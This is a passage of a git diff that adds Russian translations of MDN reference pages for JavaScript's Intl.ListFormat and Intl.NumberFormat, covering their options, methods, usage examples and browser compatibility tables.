+++ b/files/ru/web/javascript/reference/global_objects/intl/listformat/index.html
@@ -0,0 +1,104 @@
+---
+title: Intl.ListFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat
+tags:
+  - Experimental
+  - Internationalization
+  - Intl
+  - JavaScript
+  - ListFormat
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat
+---
+<p>{{JSRef}}</p>
+
+<p>Объект <strong><code>Intl.ListFormat</code></strong> представляет собой конструктор объектов, включающих языко-зависимое форматирование списков.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code>new Intl.ListFormat([<var>locales</var>[, <var>options</var>]])
+</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Необязательный параметр. Строка с языковой меткой BCP 47 или массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на странице {{jsxref("Global_Objects/Intl", "Intl", "#Locale_identification_and_negotiation", 1)}}.</p>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>Необязательный параметр. Объект с некоторыми или всеми из следующих свойств:
+ <ul>
+  <li><code>localeMatcher</code><br>
+   Используемый алгоритм сопоставления локалей. Возможные значения: <code>"lookup"</code> и <code>"best fit"</code>; по умолчанию используется <code>"best fit"</code>. Подробнее см. на странице <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl#Locale_negotiation" rel="nofollow"><code>Intl</code></a>.</li>
+  <li><code>type</code><br>
+   Формат вывода. Возможные значения: <code>"conjunction"</code> для вывода значений через "и" (используется по умолчанию, прим. <code>A, B, и C</code>) или <code>"disjunction"</code> для вывода значений через "или" (прим. <code>A, B, или C</code>). <code>"unit"</code> для вывода значений с единицами измерений (прим. <code>5 фунтов, 12 унций</code>).</li>
+  <li><code>style</code><br>
+   Стиль форматирования вывода. Возможные значения: <code>"long"</code> (используется по умолчанию, прим. <code>A, B, и C</code>); <code>"short"</code> или <code>"narrow"</code> (прим. <code>A, B, C</code>). При использовании <code>narrow</code>, параметр <code>type</code> может принимать только значение <code>unit</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Свойства">Свойства</h3>
+
+<dl>
+ <dt>{{jsxref("ListFormat.prototype", "Intl.ListFormat.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам <code>Intl.ListFormat</code></dd>
+</dl>
+
+<h3 id="Методы">Методы</h3>
+
+<dl>
+ <dt>{{jsxref("ListFormat.supportedLocalesOf", "Intl.ListFormat.supportedLocalesOf()")}}</dt>
+ <dd>Возвращает массив, содержащий те из переданных ему локалей, которые поддерживаются без необходимости использовать локаль по умолчанию.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_format">Использование <code>format</code></h3>
+
+<p>Пример ниже показывает как создать объект <code>ListFormat</code> с поддержкой форматирования на русском языке и получить отформатированную строку с помощью метода <code>format</code>.</p>
+
+<pre class="brush: js">const list = ['Motorcycle', 'Bus', 'Car'];
+
+ console.log(new Intl.ListFormat('ru-RU', { style: 'long', type: 'conjunction' }).format(list));
+// &gt; Motorcycle, Bus и Car
+
+ console.log(new Intl.ListFormat('ru-RU', { style: 'short', type: 'disjunction' }).format(list));
+// &gt; Motorcycle, Bus или Car
+
+ console.log(new Intl.ListFormat('ru-RU', { style: 'narrow', type: 'unit' }).format(list));
+// &gt; Motorcycle Bus Car
+</pre>
+
+<h3 id="Использование_formatToParts">Использование <code>formatToParts</code></h3>
+
+<p>Пример ниже показывает как получить отформатированные части объекта <code>ListFormat</code> с помощью метода <code>formatToParts</code>.</p>
+
+<pre class="brush: js">const list = ['Motorcycle', 'Bus', 'Car'];
+console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).formatToParts(list));
+
+// &gt; [ { "type": "element", "value": "Motorcycle" }, { "type": "literal", "value": ", " }, { "type": "element", "value": "Bus" }, { "type": "literal", "value": ", and " }, { "type": "element", "value": "Car" } ];
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-intl-list-format/">Intl.ListFormat proposal</a></td>
+   <td>Stage 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/numberformat/format/index.html b/files/ru/web/javascript/reference/global_objects/intl/numberformat/format/index.html
new file mode 100644
index 0000000000..1bfd21a87d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/numberformat/format/index.html
@@ -0,0 +1,120 @@
+---
+title: Intl.NumberFormat.prototype.format
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format
+tags:
+  - Internationalization
+  - JavaScript
+  - NumberFormat
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.NumberFormat.prototype.format</code></strong> возвращает функцию-геттер, форматирующую число согласно локали и параметрам форматирования соответствующего объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>numberFormat</var>.format(<var>number</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>number</code></dt>
+ <dd>Число для форматирования.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Функция, возвращённая геттером <code>format</code>, форматирует число согласно локали и параметрам форматирования соответствующего объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_format" name="Example:_Using_format">Пример: использование функции <code>format</code></h3>
+<p>Использование функции, возвращённой геттером <code>format</code>, для форматирования одного значения валюты, здесь пример для русского языка:</p>
+<pre class="brush: js">var options = { style: 'currency', currency: 'RUB' };
+var numberFormat = new Intl.NumberFormat('ru-RU', options);
+console.log(numberFormat.format(654321.987));
+// → "654 321,99 руб."
+</pre>
+
+<h3 id="Example_Using_format_with_map" name="Example:_Using_format_with_map">Пример: использование функции <code>format</code> вместе с <code>map</code></h3>
+<p>Использование функции, возвращённой геттером <code>format</code>, для форматирования всех чисел в массиве. Обратите внимание, что функция привязана к объекту {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}, из которого она была получена, так что её можно передавать в {{jsxref("Array.prototype.map")}} напрямую.</p>
+<pre class="brush: js">var a = [123456.789, 987654.321, 456789.123];
+var numberFormat = new Intl.NumberFormat('es-ES');
+var formatted = a.map(numberFormat.format);
+console.log(formatted.join('; '));
+// → "123.456,789; 987.654,321; 456.789,123"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/numberformat/index.html b/files/ru/web/javascript/reference/global_objects/intl/numberformat/index.html
new file mode 100644
index 0000000000..e29eb2dd27
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/numberformat/index.html
@@ -0,0 +1,189 @@
+---
+title: Intl.NumberFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+tags:
+  - Internationalization
+  - JavaScript
+  - NumberFormat
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <strong><code>Intl.NumberFormat</code></strong> является конструктором объектов, включающих языко-зависимое форматирование чисел.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new Intl.NumberFormat([<var>locales</var>[, <var>options</var>]])
+Intl.NumberFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Необязательный параметр. Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}. Разрешены следующие ключи расширения Unicode:</p>
+
+ <dl>
+  <dt><code>nu</code></dt>
+  <dd>Используемая система нумерации. Возможные значения включают в себя: <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Необязательный параметр. Объект с некоторыми или всеми из следующих свойств:</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+  <dt><code>style</code></dt>
+  <dd>Используемый стиль форматирования. Возможными значениями являются <code>"decimal"</code> для простого форматирования числа, <code>"currency"</code> для форматирования валюты и <code>"percent"</code> для форматирования процентов; значением по умолчанию является <code>"decimal"</code>.</dd>
+  <dt><code>currency</code></dt>
+  <dd>Валюта, используемая при форматировании валют. Возможными значениями являются коды валют ISO 4217, например, <code>"USD"</code> для доллара США, <code>"EUR"</code> для евро или <code>"CNY"</code> для китайского юаня — смотрите <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">список кодов текущих валют и денежных средств</a>. Свойство не имеет значения по умолчанию; если свойство <code>style</code> равно <code>"currency"</code>, свойство <code>currency</code> также должно присутствовать.</dd>
+  <dt><code>currencyDisplay</code></dt>
+  <dd>Определяет, как отображать валюту при форматировании валют. Возможными значениями являются <code>"symbol"</code> для использования локализованного символа валюты, например € для евро, <code>"code"</code> для использования кода валюты ISO, <code>"name"</code> для использования локализованного названия валюты, например <code>"доллар США"</code> для доллара; значением по умолчанию является <code>"symbol"</code>.</dd>
+  <dt><code>useGrouping</code></dt>
+  <dd>Определяет, использовать ли разделители групп разрядов, например, разделители тысяч или тысяч/лакх/крор. Возможными значениями являются <code>true</code> и <code>false</code>; значением по умолчанию является <code>true</code>.</dd>
+ </dl>
+
+ <p>Следующие свойства разбиваются на две группы: <code>minimumIntegerDigits</code>, <code>minimumFractionDigits</code> и <code>maximumFractionDigits</code> входят в одну группу, а <code>minimumSignificantDigits</code> и <code>maximumSignificantDigits</code> — в другую. Если определено хотя бы одно свойство из второй группы, свойства первой группы будут проигнорированы.</p>
+
+ <dl>
+  <dt><code>minimumIntegerDigits</code></dt>
+  <dd>Минимальное используемое количество цифр целой части числа. Возможными значениями являются значения от 1 до 21; значением по умолчанию является 1.</dd>
+  <dt><code>minimumFractionDigits</code></dt>
+  <dd>Минимальное используемое количество цифр дробной части числа. Возможными значениями являются значения от 0 до 20; значением по умолчанию для простого и процентного форматирования является 0; значением по умолчанию для форматирования валюты является число цифр младших единиц, определяемое в <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">списке кодов валют ISO 4217</a> (2, если данный список не предоставляет такой информации).</dd>
+  <dt><code>maximumFractionDigits</code></dt>
+  <dd>Максимальное используемое количество цифр дробной части числа. Возможными значениями являются значения от 0 до 20; значением по умолчанию для простого форматирования является наибольшее значение из <code>minimumFractionDigits</code> и 3; значением по умолчанию для форматирования валюты является число цифр младших единиц, определяемое в <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">списке кодов валют ISO 4217</a> (2, если данный список не предоставляет такой информации); значением по умолчанию для процентного форматирования является наибольшее значение из <code>minimumFractionDigits</code> и 0.</dd>
+  <dt><code>minimumSignificantDigits</code></dt>
+  <dd>Минимальное используемое количество значащих цифр числа. Возможными значениями являются значения от 1 до 21; значением по умолчанию является 1.</dd>
+  <dt><code>maximumSignificantDigits</code></dt>
+  <dd>Максимальное используемое количество значащих цифр числа. Возможными значениями являются значения от 1 до 21; значением по умолчанию является <code>minimumSignificantDigits</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<h3 id="Properties" name="Properties">Свойства</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</dt>
+ <dd>Возвращает массив, содержащий те из предоставленных локалей, которые поддерживаются без отката к локали по умолчанию среды выполнения.</dd>
+</dl>
+
+<h2 id="NumberFormat_instances" name="NumberFormat_instances">Экземпляры объекта <code>NumberFormat</code></h2>
+
+<h3 id="Properties_of_NumberFormat_instance" name="Properties_of_NumberFormat_instance">Свойства</h3>
+
+<p>Экземпляры <code>NumberFormat</code> наследуют следующие свойства из своего прототипа:</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_NumberFormat_instance" name="Methods_of_NumberFormat_instance">Методы</h3>
+
+<p>Экземпляры <code>NumberFormat</code> наследуют следующие методы из своего прототипа:</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Basic_usage" name="Example:_Basic_usage">Пример: базовое использование</h3>
+
+<p>При базовом использовании без определения локали возвращается строка, отформатированная с помощью локали по умолчанию с опциями по умолчанию.</p>
+
+<pre class="brush: js">var number = 3500;
+
+console.log(new Intl.NumberFormat().format(number));
+// → '3,500' в локали US English
+</pre>
+
+<h3 id="Example_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Этот пример показывает некоторые локализованные числовые форматы. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// В Германии в качестве разделителя целой и дробной части используется запятая, а в качестве разделителя разрядов - точка
+console.log(new Intl.NumberFormat('de-DE').format(number));
+// → 123.456,789
+
+// В России в качестве разделителя целой и дробной части используется запятая, а в качестве разделителя разрядов - пробел
+console.log(new Intl.NumberFormat('ru-RU').format(number));
+// → 123 456,789
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(new Intl.NumberFormat('ar-EG').format(number));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// В Индии используют разделители для тысяч/лакх/крор
+console.log(new Intl.NumberFormat('en-IN').format(number));
+// → 1,23,456.789
+
+// Ключ расширения nu запрашивает систему нумерации, например, китайскую десятичную
+console.log(new Intl.NumberFormat('zh-Hans-CN-u-nu-hanidec').format(number));
+// → 一二三,四五六.七八九
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(new Intl.NumberFormat(['ban', 'id']).format(number));
+// → 123.456,789
+</pre>
+
+<h3 id="Example_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Результат может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// Запрашиваем формат валюты
+console.log(new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR' }).format(number));
+// → 123.456,79 €
+
+console.log(new Intl.NumberFormat('ru-RU', { style: 'currency', currency: 'RUB' }).format(number));
+// → 123 456,79 руб.
+
+// Японская йена не использует младшие единицы
+console.log(new Intl.NumberFormat('ja-JP', { style: 'currency', currency: 'JPY' }).format(number))
+// → ￥123,457
+
+// Ограничиваем до трёх значащих цифр
+console.log(new Intl.NumberFormat('en-IN', { maximumSignificantDigits: 3 }).format(number));
+// → 1,23,000
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Intl', 'See_also')}}</div>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html b/files/ru/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
new file mode 100644
index 0000000000..6ac4a38c2c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
@@ -0,0 +1,108 @@
+---
+title: Intl.NumberFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype
+tags:
+  - Internationalization
+  - JavaScript
+  - NumberFormat
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.NumberFormat.prototype</code></strong> представляет объект прототипа конструктора {{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Смотрите {{jsxref("NumberFormat")}} для описания экземпляров <code>Intl.NumberFormat</code>.</p>
+<p>Экземпляры {{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}} наследуются от <code>Intl.NumberFormat.prototype</code>. Изменения объекта прототипа наследуются всеми экземплярами {{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>Intl.NumberFormat.prototype.constructor</code></dt>
+ <dd>Ссылка на {{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}.</dd>
+ <dt>{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}</dt>
+ <dd>Геттер; возвращает функцию, форматирующую число согласно локали и опциям форматирования этого объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Возвращает новый объект со свойствами, отражающими локаль и опции сравнения, вычисленные при инициализации объекта.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html b/files/ru/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..1633c1e703
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html
@@ -0,0 +1,117 @@
+---
+title: Intl.NumberFormat.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - NeedsExample
+  - NumberFormat
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.NumberFormat.prototype.resolvedOptions()</code></strong> возвращает новый объект со свойствами, отражающими локаль и параметры форматирования чисел, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>numberFormat</var>.resolvedOptions()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает новый объект со свойствами, отражающими локаль и параметры форматирования чисел, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}}. Объект содержит следующие свойства:</p>
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>Языковая метка BCP 47 реально используемой локали. Если во входной языковой метке BCP 47 запрошены какие-либо расширения Unicode, приведшие к этой локали, запрошенные и поддерживаемые для этой локали пары ключ-значение также будут включены в свойство <code>locale</code>.</dd>
+ <dt><code>numberingSystem</code></dt>
+ <dd>Значение, запрошенное ключом расширения Unicode <code>"nu"</code>, либо значение по умолчанию.</dd>
+ <dt><code>style</code></dt>
+ <dt><code>useGrouping</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code>, либо значения по умолчанию.</dd>
+ <dt><code>currency</code></dt>
+ <dt><code>currencyDisplay</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code>, либо значения по умолчанию. Эти свойства присутствуют только в том случае, если свойство <code>style</code> равно <code>"currency"</code>.</dd>
+</dl>
+<p>Из следующих двух групп свойств включается только одна:</p>
+<dl>
+ <dt><code>minimumIntegerDigits</code></dt>
+ <dt><code>minimumFractionDigits</code></dt>
+ <dt><code>maximumFractionDigits</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code>, либо значения по умолчанию. Эти свойства присутствуют только в том случае, если в аргументе <code>options</code> не присутствовало ни свойства <code>minimumSignificantDigits</code>, ни свойства <code>maximumSignificantDigits</code>.</dd>
+ <dt><code>minimumSignificantDigits</code></dt>
+ <dt><code>maximumSignificantDigits</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code>, либо значения по умолчанию. Эти свойства присутствуют только в том случае, если в аргументе <code>options</code> присутствовало хотя бы одно из них.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html b/files/ru/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..97159a0112
--- /dev/null
